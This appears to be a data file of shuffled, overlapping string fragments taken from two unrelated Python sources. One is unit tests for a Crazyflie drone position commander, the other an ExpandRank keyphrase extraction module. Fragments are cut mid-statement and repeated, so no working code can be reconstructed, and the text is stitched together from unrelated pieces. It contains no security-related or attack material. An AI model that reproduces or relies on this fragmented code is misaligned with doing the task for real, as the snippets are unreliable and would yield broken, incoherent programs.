sut.take_off() #", "def test_that_default_height_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "- 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration)", "# Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller',", "2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_default_height_is_used( self, sleep_mock): #", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.left(1.0, 2.0)", "sys.version_info < (3, 3): from mock import MagicMock, patch, call", "sleep_mock.assert_called_with(duration) ###################################################################### def _distance(self, p1, p2): dx = p1[0] -", "# This program is free software; you can redistribute it", "but WITHOUT ANY WARRANTY; without even the implied warranty of", "Public License # as published by the Free Software Foundation;", "inital_pos = self.sut.get_position() # Test self.sut.right(1.0, 2.0) # Assert duration", "= ( inital_pos[0], inital_pos[1], inital_pos[2] + 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1],", "cflib.crazyflie import Param from cflib.positioning.position_hl_commander import PositionHlCommander if sys.version_info <", "( inital_pos[0], inital_pos[1], inital_pos[2] - 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2],", "* dx + dy * dy + dz * dz)", "else: from unittest.mock import MagicMock, patch, call @patch('time.sleep') class TestPositionHlCommander(unittest.TestCase):", "= self.sut.get_position() # Test self.sut.back(1.0, 2.0) # Assert duration =", "sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, 1.0, 2.0, 3.0) #", "|| || /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/ # # Copyright (C) 2018", "Copyright (C) 2018 Bitcraze AB # # This program is", "-*- coding: utf-8 -*- # # || ____ _ __", "Fixture self.sut.take_off() # Test # Assert with self.assertRaises(Exception): self.sut.take_off() def", "# Fixture # Test with self.sut: pass # Assert duration1", "test_that_it_returns_current_position( self, sleep_mock): # Fixture self.sut.take_off(height=0.4, velocity=0.6) # Test actual", "this program; if not, write to the Free Software #", "cflib.crazyflie import Crazyflie from cflib.crazyflie import HighLevelCommander from cflib.crazyflie import", "sleep_mock): # Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([", "/_______________ _____ ___ # | 0xBC | / __ /", "= self.sut.get_position() # Test self.sut.down(1.0, 2.0) # Assert duration =", "inital_pos[0], inital_pos[1] - 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0,", "# MA 02110-1301, USA. import math import sys import unittest", "0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_left( self, sleep_mock): # Fixture self.sut.take_off()", "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #", "= ( inital_pos[0] + 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1],", "1.0, 2.0, 5.0, 0.0, duration) sleep_mock.assert_called_with(duration) ###################################################################### def _distance(self, p1,", "Assert self.assertEqual(actual, (0.0, 0.0, 0.4)) def test_that_it_goes_to_position( self, sleep_mock): #", "inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up(", "unittest from cflib.crazyflie import Crazyflie from cflib.crazyflie import HighLevelCommander from", "= ( inital_pos[0], inital_pos[1] + 1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1],", "License # as published by the Free Software Foundation; either", "(3, 3): from mock import MagicMock, patch, call else: from", "# Test self.sut.back(1.0, 2.0) # Assert duration = 1.0 /", "/ /_/ / / /_/ __/ # || || /_____/_/\\__/\\___/_/", "1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1] - 1,", "GNU General Public License # along with this program; if", "# Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2') ]) def", "self, sleep_mock): # Fixture self.sut.take_off() # Test # Assert with", "inital_pos = self.sut.get_position() # Test self.sut.up(1.0, 2.0) # Assert duration", "Test self.sut.up(1.0, 2.0) # Assert duration = 1.0 / 2.0", "sleep_mock.assert_called_with(duration) def test_that_it_goes_left( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used( self, sleep_mock): #", "as published by the Free Software Foundation; either version 2", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.up(1.0, 2.0)", "= ( inital_pos[0], inital_pos[1], inital_pos[2] - 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1],", "actual = self.sut.get_position() # Assert self.assertEqual(actual, (0.0, 0.0, 0.4)) def", "/_/ / / /_/ __/ # || || /_____/_/\\__/\\___/_/ \\__,_/", "/ 4.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def", "= PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off( self, sleep_mock): # Fixture sut =", "/ /_/ /__/ / / /_/ / / /_/ __/", "( inital_pos[0], inital_pos[1] - 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2],", "self.sut.take_off(height=0.4) # Test self.sut.land(velocity=0.6) # Assert duration = 0.4 /", "sleep_mock): # Fixture # Test with self.sut: pass # Assert", "= self._distance((0.0, 0.0, 0.0), (1.0, 2.0, 3.0)) duration = distance", "can redistribute it and/or # modify it under the terms", "def test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock): # Fixture # Test with self.sut:", "dy + dz * dz) if __name__ == '__main__': unittest.main()", "self.sut.get_position() # Test self.sut.up(1.0, 2.0) # Assert duration = 1.0", "= PositionHlCommander(self.cf_mock, 1.0, 2.0, 3.0) # Test sut.take_off() # Assert", "# modify it under the terms of the GNU General", "self.sut.set_default_height(5.0) # Test self.sut.go_to(1.0, 2.0) # Assert distance = self._distance(inital_pos,", "import unittest from cflib.crazyflie import Crazyflie from cflib.crazyflie import HighLevelCommander", "MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander = self.commander_mock self.cf_mock.param = self.param_mock self.cf_mock.is_connected.return_value = True", "3.0, 4.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0, 3.0))", "a copy of the GNU General Public License # along", "def test_that_it_returns_current_position( self, sleep_mock): # Fixture self.sut.take_off(height=0.4, velocity=0.6) # Test", "# -*- coding: utf-8 -*- # # || ____ _", "_distance(self, p1, p2): dx = p1[0] - p2[0] dy =", "Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. import", "self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1') ]) def test_that_controller_is_selected_on_take_off( self, sleep_mock): # Fixture", "MA 02110-1301, USA. import math import sys import unittest from", "the GNU General Public License # along with this program;", "unittest.mock import MagicMock, patch, call @patch('time.sleep') class TestPositionHlCommander(unittest.TestCase): def setUp(self):", "terms of the GNU General Public License # as published", "def test_that_default_velocity_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] - 1) self.commander_mock.go_to.assert_called_with( final_pos[0],", "Assert distance = self._distance(inital_pos, (1.0, 2.0, 3.0)) duration = distance", "final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_left( self, sleep_mock):", "have received a copy of the GNU General Public License", "Public License # along with this program; if not, write", "call('stabilizer.controller', '2') ]) def test_that_take_off_raises_exception_if_not_connected( self, sleep_mock): # Fixture self.cf_mock.is_connected.return_value", "/ __ / / __/ ___/ ___/ __ `/_ /", "self, sleep_mock): # Fixture # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([", "= 0.5 / 0.5 duration2 = 0.5 / 0.5 self.commander_mock.takeoff.assert_called_with(0.5,", "+------+ / __ )(_) /_______________ _____ ___ # | 0xBC", "from mock import MagicMock, patch, call else: from unittest.mock import", "in the hope that it will be useful, # but", "# along with this program; if not, write to the", "Test self.sut.forward(1.0, 2.0) # Assert duration = 1.0 / 2.0", "# # || ____ _ __ # +------+ / __", "= distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 5.0, 0.0, duration)", "True self.sut = PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off( self, sleep_mock): # Fixture", "published by the Free Software Foundation; either version 2 #", "0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing( self, sleep_mock): # Fixture", "PositionHlCommander(self.cf_mock, 1.0, 2.0, 3.0) # Test sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([", "self.sut.get_position() # Test self.sut.down(1.0, 2.0) # Assert duration = 1.0", "= 1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2]", "sleep_mock.assert_called_with(duration) def test_that_it_goes_up( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "(1.0, 2.0, 3.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0,", "3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_default_height_is_used( self, sleep_mock): # Fixture", "(C) 2018 Bitcraze AB # # This program is free", "Assert duration = 1.0 / 2.0 final_pos = ( inital_pos[0]", "inital_pos[1], inital_pos[2] + 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration)", "final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up( self, sleep_mock): #", "1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] -", "inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_left(", "test_that_the_estimator_is_reset_on_take_off( self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, 1.0, 2.0,", "self.sut.up(1.0, 2.0) # Assert duration = 1.0 / 2.0 final_pos", "test_that_it_goes_to_position( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "call('commander.enHighLevel', '1') ]) def test_that_controller_is_selected_on_take_off( self, sleep_mock): # Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER)", "_ \\ # +------+ / /_/ / / /_/ /__/", "|| ____ _ __ # +------+ / __ )(_) /_______________", "(0.0, 0.0, 0.4)) def test_that_it_goes_to_position( self, sleep_mock): # Fixture self.sut.take_off()", "self.sut = PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off( self, sleep_mock): # Fixture sut", "inital_pos[1] + 2.0, inital_pos[2] + 3.0) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2],", "/_/ /__/ / / /_/ / / /_/ __/ #", "test_that_it_goes_down_on_landing( self, sleep_mock): # Fixture self.sut.take_off(height=0.4) # Test self.sut.land(velocity=0.6) #", "final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_forward( self, sleep_mock): # Fixture", "/ 2.0 final_pos = ( inital_pos[0] - 1.0, inital_pos[1], inital_pos[2])", "= self.sut.get_position() # Test self.sut.right(1.0, 2.0) # Assert duration =", "WARRANTY; without even the implied warranty of # MERCHANTABILITY or", "= distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration)", "###################################################################### def _distance(self, p1, p2): dx = p1[0] - p2[0]", "2.0, 3.0)) duration = distance / 4.0 final_pos = (", "distance = self._distance((0.0, 0.0, 0.0), (1.0, 2.0, 3.0)) duration =", "# Test self.sut.down(1.0, 2.0) # Assert duration = 1.0 /", "# Assert self.assertEqual(actual, (0.0, 0.0, 0.4)) def test_that_it_goes_to_position( self, sleep_mock):", "__ )(_) /_______________ _____ ___ # | 0xBC | /", "4.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0, 3.0)) duration", "is distributed in the hope that it will be useful,", "with this program; if not, write to the Free Software", "final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_left( self, sleep_mock): # Fixture", "def test_that_it_goes_back( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "not, write to the Free Software # Foundation, Inc., 51", "# Test actual = self.sut.get_position() # Assert self.assertEqual(actual, (0.0, 0.0,", "# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the", "]) def test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock): # Fixture # Test self.sut.take_off()", "self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2') ]) def test_that_take_off_raises_exception_if_not_connected( self, sleep_mock): # Fixture", "return math.sqrt(dx * dx + dy * dy + dz", "without even the implied warranty of # MERCHANTABILITY or FITNESS", "# Test self.sut.land(velocity=0.6) # Assert duration = 0.4 / 0.6", "test_that_take_off_raises_exception_when_already_flying( self, sleep_mock): # Fixture self.sut.take_off() # Test # Assert" ]
[ "2008. \"\"\" from __future__ import print_function from __future__ import division", "pos tags set if pos is None: pos = {'NOUN',", "__future__ import absolute_import from onmt.keyphrase.pke.unsupervised import SingleRank from onmt.keyphrase.pke.base import", "for input_file, similarity in expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity, window=window, pos=pos) #", "of documents to expand the graph, should be a list", "as candidates. pos = {'NOUN', 'PROPN', 'ADJ'} stoplist = list(string.punctuation)", "by their length, defaults to False. \"\"\" # define default", "False. \"\"\" # define default pos tags set if pos", "graph. expanded_documents = [('path/to/input1.xml', similarity1), ('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents,", "using the sum of their word's scores that are #", "word graph using the given document. Args: input_file (str): path", "from onmt.keyphrase.pke.base import LoadFile import networkx as nx import logging", "to expand # the graph. expanded_documents = [('path/to/input1.xml', similarity1), ('path/to/input2.xml',", "5. get the 10-highest scored candidates as keyphrases keyphrases =", "if pos is None: pos = {'NOUN', 'PROPN', 'ADJ'} #", "# loop through sequence to build the edges in the", "k in range(j + 1, min(j + window, len(sequence))): node_2", "# Date: 10-02-2018 \"\"\"ExpandRank keyphrase extraction model. Graph-based ranking approach", "+= stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist) # 4. weight the candidates using", "words to be considered as nodes in the graph, defaults", "that do # not contain punctuation marks or stopwords as", "candidate_weighting(self, window=10, pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate ranking using random walk.", "\"\"\" super(ExpandRank, self).__init__() def expand_word_graph(self, input_file, similarity, window=10, pos=None): \"\"\"Expands", "similarity (float): similarity for weighting edges. window (int): the window", "not contain punctuation marks or stopwords as candidates. pos =", "expanded_documents = [('path/to/input1.xml', similarity1), ('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents, format='corenlp')", "tuples (input_path, similarity). Defaults to empty list, i.e. no expansion.", "to keyphrase extraction described in: * <NAME> and <NAME>. Single", "stoplist += stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist) # 4. weight the candidates", "the content of the document. extractor.load_document(input='path/to/input.xml') # 3. select the", "using random walk w = nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight') # loop", "pos for words to be considered as nodes in the", "in expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity, window=window, pos=pos) # compute the word", "to build the edges in the graph for j, node_1", "through sequence to build the edges in the graph for", "similarity def candidate_weighting(self, window=10, pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate ranking using", "None: expanded_documents = [] logging.warning('No neighbor documents provided for ExpandRank.')", "[('path/to/input1.xml', similarity1), ('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents, format='corenlp') # 5.", "the sentence for connecting two words in the graph, defaults", "are words (nouns # and adjectives only) that are connected", "graph, should be a list of tuples (input_path, similarity). Defaults", "expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity, window=window, pos=pos) # compute the word scores", "list of tuples (input_path, similarity). Defaults to empty list, i.e.", "import print_function from __future__ import division from __future__ import unicode_literals", "of their word's scores that are # computed using random", "graph self.build_word_graph(window=window, pos=pos) # expand the word graph for input_file,", "defaults to 10. pos (set): the set of valid pos", "# loop through the candidates for k in self.candidates.keys(): tokens", "pos = {'NOUN', 'PROPN', 'ADJ'} if expanded_documents is None: expanded_documents", "(int): the window within the sentence for connecting two words", "{'NOUN', 'PROPN', 'ADJ'} if expanded_documents is None: expanded_documents = []", "as nx import logging class ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase extraction model.", "format='corenlp') # 5. get the 10-highest scored candidates as keyphrases", "in the graph, defaults to 10. pos (set): the set", "Keyphrase Extraction Using Neighborhood Knowledge. *In proceedings of AAAI*, pages", "!= node_2[0]: if not self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0], node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight']", "('NOUN', 'PROPN', 'ADJ'). \"\"\" # define default pos tags set", "Single Document Keyphrase Extraction Using Neighborhood Knowledge. *In proceedings of", "considered as nodes in the graph, defaults to ('NOUN', 'PROPN',", "2. load the content of the document. extractor.load_document(input='path/to/input.xml') # 3.", "nltk.corpus import stopwords # 1. create an ExpandRank extractor. extractor", "and adjectives only) that are connected if they occur in", "node_1[1] in pos and node_2[1] in pos \\ and node_1[0]", "(list): the set of documents to expand the graph, should", "stoplist = list(string.punctuation) stoplist += ['-lrb-', '-rrb-', '-lcb-', '-rcb-', '-lsb-',", "import unicode_literals from __future__ import absolute_import from onmt.keyphrase.pke.unsupervised import SingleRank", "sentence.pos[j])) # loop through sequence to build the edges in", "candidates for k in self.candidates.keys(): tokens = self.candidates[k].lexical_form self.weights[k] =", "node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity def candidate_weighting(self, window=10, pos=None, expanded_documents=None,", "node not in self.graph and sentence.pos[j] in pos: self.graph.add_node(node) sequence.append((node,", "edges in the graph for j, node_1 in enumerate(sequence): for", "model. Graph-based ranking approach to keyphrase extraction described in: *", "the edges in the graph for j, node_1 in enumerate(sequence):", "'ADJ'} # initialize document loader doc = LoadFile() # read", "candidates. pos = {'NOUN', 'PROPN', 'ADJ'} stoplist = list(string.punctuation) stoplist", "nodes are words (nouns # and adjectives only) that are", "+= similarity def candidate_weighting(self, window=10, pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate ranking", "__future__ import division from __future__ import unicode_literals from __future__ import", "sentence.pos[j] in pos: self.graph.add_node(node) sequence.append((node, sentence.pos[j])) # loop through sequence", "similarity2)] extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents, format='corenlp') # 5. get the 10-highest", "word graph for input_file, similarity in expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity, window=window,", "do # not contain punctuation marks or stopwords as candidates.", "documents provided for ExpandRank.') # build the word graph self.build_word_graph(window=window,", "provided for ExpandRank.') # build the word graph self.build_word_graph(window=window, pos=pos)", "path to the input file. similarity (float): similarity for weighting", "\"\"\"ExpandRank keyphrase extraction model. Graph-based ranking approach to keyphrase extraction", "('NOUN', 'PROPN', 'ADJ'). expanded_documents (list): the set of documents to", "nodes sequence = [] for sentence in doc.sentences: for j,", "window=window, pos=pos) # compute the word scores using random walk", "range(j + 1, min(j + window, len(sequence))): node_2 = sequence[k]", "candidates as keyphrases keyphrases = extractor.get_n_best(n=10) \"\"\" def __init__(self): \"\"\"", "keyphrase score by their length, defaults to False. \"\"\" #", "1. create an ExpandRank extractor. extractor = pke.unsupervised.ExpandRank() # 2.", "for words to be considered as nodes in the graph,", "empty list, i.e. no expansion. normalized (False): normalize keyphrase score", "= extractor.get_n_best(n=10) \"\"\" def __init__(self): \"\"\" Redefining initializer for ExpandRank.", "k in self.candidates.keys(): tokens = self.candidates[k].lexical_form self.weights[k] = sum([w[t] for", "expand # the graph. expanded_documents = [('path/to/input1.xml', similarity1), ('path/to/input2.xml', similarity2)]", "doc = LoadFile() # read document doc.load_document(input=input_file, language=self.language, normalization=self.normalization) #", "Using Neighborhood Knowledge. *In proceedings of AAAI*, pages 855-860, 2008.", "ExpandRank extractor. extractor = pke.unsupervised.ExpandRank() # 2. load the content", "10 words. A set of extra documents should be provided", "the word graph using the given document. Args: input_file (str):", "scored candidates as keyphrases keyphrases = extractor.get_n_best(n=10) \"\"\" def __init__(self):", "weight='weight') # loop through the candidates for k in self.candidates.keys():", "= list(string.punctuation) stoplist += ['-lrb-', '-rrb-', '-lcb-', '-rcb-', '-lsb-', '-rsb-']", "walk w = nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight') # loop through the", "read document doc.load_document(input=input_file, language=self.language, normalization=self.normalization) # flatten document and initialize", "be a list of tuples (input_path, similarity). Defaults to empty", "graph, defaults to 10. pos (set): the set of valid", "tokens = self.candidates[k].lexical_form self.weights[k] = sum([w[t] for t in tokens])", "pos=pos, expanded_documents=expanded_documents, format='corenlp') # 5. get the 10-highest scored candidates", "def expand_word_graph(self, input_file, similarity, window=10, pos=None): \"\"\"Expands the word graph", "normalized (False): normalize keyphrase score by their length, defaults to", "'-rcb-', '-lsb-', '-rsb-'] stoplist += stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist) # 4.", "# 5. get the 10-highest scored candidates as keyphrases keyphrases", "{'NOUN', 'PROPN', 'ADJ'} # initialize document loader doc = LoadFile()", "the set of documents to expand the graph, should be", "\"\"\"Candidate ranking using random walk. Args: window (int): the window", "i.e. no expansion. normalized (False): normalize keyphrase score by their", "pos is None: pos = {'NOUN', 'PROPN', 'ADJ'} if expanded_documents", "from __future__ import unicode_literals from __future__ import absolute_import from onmt.keyphrase.pke.unsupervised", "punctuation marks or stopwords as candidates. pos = {'NOUN', 'PROPN',", "from __future__ import print_function from __future__ import division from __future__", "self.weights[k] = sum([w[t] for t in tokens]) if normalized: self.weights[k]", "similarity for weighting edges. window (int): the window within the", "(input_path, similarity). Defaults to empty list, i.e. no expansion. normalized", "stoplist += ['-lrb-', '-rrb-', '-lcb-', '-rcb-', '-lsb-', '-rsb-'] stoplist +=", "scores using random walk w = nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight') #", "input file. similarity (float): similarity for weighting edges. window (int):", "# of 10 words. A set of extra documents should", "ranking using random walk. Args: window (int): the window within", "'-rsb-'] stoplist += stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist) # 4. weight the", "keyphrase extraction model. Parameterized example:: import pke import string from", "walk. In the graph, nodes are words (nouns # and", "if expanded_documents is None: expanded_documents = [] logging.warning('No neighbor documents", "to False. \"\"\" # define default pos tags set if", "= LoadFile() # read document doc.load_document(input=input_file, language=self.language, normalization=self.normalization) # flatten", "scores that are # computed using random walk. In the", "['-lrb-', '-rrb-', '-lcb-', '-rcb-', '-lsb-', '-rsb-'] stoplist += stopwords.words('english') extractor.candidate_selection(pos=pos,", "as keyphrases keyphrases = extractor.get_n_best(n=10) \"\"\" def __init__(self): \"\"\" Redefining", "pke.unsupervised.ExpandRank() # 2. load the content of the document. extractor.load_document(input='path/to/input.xml')", "= [('path/to/input1.xml', similarity1), ('path/to/input2.xml', similarity2)] extractor.candidate_weighting(window=10, pos=pos, expanded_documents=expanded_documents, format='corenlp') #", "len(sequence))): node_2 = sequence[k] if node_1[1] in pos and node_2[1]", "10-highest scored candidates as keyphrases keyphrases = extractor.get_n_best(n=10) \"\"\" def", "'-lcb-', '-rcb-', '-lsb-', '-rsb-'] stoplist += stopwords.words('english') extractor.candidate_selection(pos=pos, stoplist=stoplist) #", "the candidates for k in self.candidates.keys(): tokens = self.candidates[k].lexical_form self.weights[k]", "import networkx as nx import logging class ExpandRank(SingleRank): \"\"\"ExpandRank keyphrase", "graph, defaults to ('NOUN', 'PROPN', 'ADJ'). expanded_documents (list): the set", "AAAI*, pages 855-860, 2008. \"\"\" from __future__ import print_function from", "file. similarity (float): similarity for weighting edges. window (int): the", "graph, nodes are words (nouns # and adjectives only) that", "an ExpandRank extractor. extractor = pke.unsupervised.ExpandRank() # 2. load the", "to ('NOUN', 'PROPN', 'ADJ'). expanded_documents (list): the set of documents", "node_2 = sequence[k] if node_1[1] in pos and node_2[1] in", "their length, defaults to False. \"\"\" # define default pos", "a list of tuples (input_path, similarity). Defaults to empty list,", "marks or stopwords as candidates. pos = {'NOUN', 'PROPN', 'ADJ'}", "'PROPN', 'ADJ'} # initialize document loader doc = LoadFile() #", "for j, node in enumerate(sentence.stems): if node not in self.graph", "+= ['-lrb-', '-rrb-', '-lcb-', '-rcb-', '-lsb-', '-rsb-'] stoplist += stopwords.words('english')", "loop through the candidates for k in self.candidates.keys(): tokens =", "extraction model. Graph-based ranking approach to keyphrase extraction described in:", "self.graph.add_node(node) sequence.append((node, sentence.pos[j])) # loop through sequence to build the", "__init__(self): \"\"\" Redefining initializer for ExpandRank. \"\"\" super(ExpandRank, self).__init__() def", "in enumerate(sequence): for k in range(j + 1, min(j +", "min(j + window, len(sequence))): node_2 = sequence[k] if node_1[1] in", "content of the document. extractor.load_document(input='path/to/input.xml') # 3. select the the", "load the content of the document. extractor.load_document(input='path/to/input.xml') # 3. select", "sentence for connecting two words in the graph, defaults to", "sequence[k] if node_1[1] in pos and node_2[1] in pos \\", "(set): the set of valid pos for words to be", "Knowledge. *In proceedings of AAAI*, pages 855-860, 2008. \"\"\" from", "j, node in enumerate(sentence.stems): if node not in self.graph and", "random walk. In the graph, nodes are words (nouns #", "utf-8 -*- # Author: <NAME> # Date: 10-02-2018 \"\"\"ExpandRank keyphrase", "of valid pos for words to be considered as nodes", "default pos tags set if pos is None: pos =", "flatten document and initialize nodes sequence = [] for sentence", "pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate ranking using random walk. Args: window", "in pos and node_2[1] in pos \\ and node_1[0] !=", "documents to expand the graph, should be a list of", "for k in range(j + 1, min(j + window, len(sequence))):", "computed using random walk. In the graph, nodes are words", "# initialize document loader doc = LoadFile() # read document", "import division from __future__ import unicode_literals from __future__ import absolute_import", "__future__ import print_function from __future__ import division from __future__ import", "words (nouns # and adjectives only) that are connected if", "the given document. Args: input_file (str): path to the input", "= sum([w[t] for t in tokens]) if normalized: self.weights[k] /=", "of extra documents should be provided to expand # the", "# 1. create an ExpandRank extractor. extractor = pke.unsupervised.ExpandRank() #", "import string from nltk.corpus import stopwords # 1. create an", "# Author: <NAME> # Date: 10-02-2018 \"\"\"ExpandRank keyphrase extraction model.", "weighting edges. window (int): the window within the sentence for", "graph using the given document. Args: input_file (str): path to", "sentence in doc.sentences: for j, node in enumerate(sentence.stems): if node", "\"\"\" def __init__(self): \"\"\" Redefining initializer for ExpandRank. \"\"\" super(ExpandRank,", "extractor.load_document(input='path/to/input.xml') # 3. select the the longest sequences of nouns", "words in the graph, defaults to 10. pos (set): the", "to 10. pos (set): the set of valid pos for", "in pos: self.graph.add_node(node) sequence.append((node, sentence.pos[j])) # loop through sequence to", "\"\"\" # define default pos tags set if pos is", "self.build_word_graph(window=window, pos=pos) # expand the word graph for input_file, similarity", "SingleRank from onmt.keyphrase.pke.base import LoadFile import networkx as nx import", "window=10, pos=None, expanded_documents=None, normalized=False): \"\"\"Candidate ranking using random walk. Args:", "set of documents to expand the graph, should be a", "graph for input_file, similarity in expanded_documents: self.expand_word_graph(input_file=input_file, similarity=similarity, window=window, pos=pos)", "super(ExpandRank, self).__init__() def expand_word_graph(self, input_file, similarity, window=10, pos=None): \"\"\"Expands the", "# not contain punctuation marks or stopwords as candidates. pos", "= pke.unsupervised.ExpandRank() # 2. load the content of the document.", "tags set if pos is None: pos = {'NOUN', 'PROPN',", "normalization=self.normalization) # flatten document and initialize nodes sequence = []", "expanded_documents is None: expanded_documents = [] logging.warning('No neighbor documents provided", "ranking approach to keyphrase extraction described in: * <NAME> and", "and sentence.pos[j] in pos: self.graph.add_node(node) sequence.append((node, sentence.pos[j])) # loop through", "if pos is None: pos = {'NOUN', 'PROPN', 'ADJ'} if", "stopwords as candidates. pos = {'NOUN', 'PROPN', 'ADJ'} stoplist =", "'PROPN', 'ADJ'). \"\"\" # define default pos tags set if", "word scores using random walk w = nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight')", "if not self.graph.has_edge(node_1[0], node_2[0]): self.graph.add_edge(node_1[0], node_2[0], weight=0) self.graph[node_1[0]][node_2[0]]['weight'] += similarity", "Args: input_file (str): path to the input file. similarity (float):", "= nx.pagerank_scipy(self.graph, alpha=0.85, weight='weight') # loop through the candidates for", "sequence.append((node, sentence.pos[j])) # loop through sequence to build the edges", "keyphrase extraction model. Graph-based ranking approach to keyphrase extraction described", "similarity). Defaults to empty list, i.e. no expansion. normalized (False):", "import SingleRank from onmt.keyphrase.pke.base import LoadFile import networkx as nx", "'PROPN', 'ADJ'} stoplist = list(string.punctuation) stoplist += ['-lrb-', '-rrb-', '-lcb-',", "defaults to ('NOUN', 'PROPN', 'ADJ'). \"\"\" # define default pos", "doc.sentences: for j, node in enumerate(sentence.stems): if node not in", "Parameterized example:: import pke import string from nltk.corpus import stopwords", "the graph, nodes are words (nouns # and adjectives only)", "'PROPN', 'ADJ'} if expanded_documents is None: expanded_documents = [] logging.warning('No", "logging.warning('No neighbor documents provided for ExpandRank.') # build the word", "keyphrases keyphrases = extractor.get_n_best(n=10) \"\"\" def __init__(self): \"\"\" Redefining initializer", 